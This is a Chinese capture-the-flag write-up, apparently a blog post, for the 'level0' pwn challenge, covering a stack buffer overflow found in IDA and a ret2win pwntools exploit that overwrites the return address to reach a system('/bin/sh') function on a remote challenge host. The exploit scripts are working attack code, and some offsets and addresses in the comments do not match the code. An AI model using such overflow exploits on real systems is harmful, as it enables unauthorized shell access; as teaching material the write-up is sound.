攻防世界-level0

探路

在这里插入图片描述

只有NX

试运行:

平平无奇

在这里插入图片描述

IDA

找到了读取越界的地方:

buf长度80,但是读取了512

在这里插入图片描述


解题不相关但是想记一下怕又忘了:寻找buf的地址,

ALT+T 查找字符串,选中最后的显示所有
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


学长support:

栈是存储局部变量的

使用完需要恢复成上一个函数的栈

结构如下:
数据

栈底地址(谁的?不吞掉后果如何)

rip:返回的地址

写脚本的目的:把buf占满,吞掉rbp,修改rip的地址,跳转到指定地址

在这里插入图片描述


做到这其实卡壳了,其实还有shift+f12这个老朋友○| ̄|_

在这里插入图片描述

敏感权限来了!!

瞅瞅在哪儿:地址40096

在这里插入图片描述

伪代码瞅一瞅:好家伙,直接system调用

写脚本的话直接把40096搞到rip位置就OK了

在这里插入图片描述

PS:如果想跳转指定地址的话,按空格,在G,输入跳转地址(G好久不用忘了……)

在这里插入图片描述

EXP

第一次,不会写脚本,就嫖下别人的学习学习咋回事……

脚本思路:

连接目标主机

编写针对栈溢出的payload:

填满字符串空间

覆盖掉rbp地址

rip的跳转地址换成/bin/sh的地址

发送payload

允许交互方便cat flag


EXP:

from pwn import *
r = remote("220.249.52.133", 40774) #题目给的地址和端口,用于连接
#本地测试可以用 r = process("./文件名")

payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596) 
    # 80个A填充buf,8个a覆盖rbp地址,最后把 /bin/bash所在地址接过来
    # p64 64位小端序存储

r.recvuntil("Hello, World\n") 
    #rec:接收; recvuntil:读到 Hello,world 截止

r.sendline(payload)
    #send发送命令; sendline发送一行命令,末尾自动补上\n

r.interactive()
    #inter允许交互

简化版exp:

from pwn import *
p = remote('220.249.52.133',38175)
p.send('a'*0x88+p64(0x400596))
p.interactive() 

其它简单命令收集:

interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。

recv(numb=字节大小, timeout=default) : 接收指定字节数。

recvall() : 一直接收直到达到文件EOF。

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。

recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。

recvrepeat(timeout=default) : 持续接受直到EOF或timeout。

跑脚本

在这里插入图片描述

看到了flag,直接猫它

在这里插入图片描述

flag

cyberpeace{7ea56a54d4b69f130822c612b3efaa01}

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值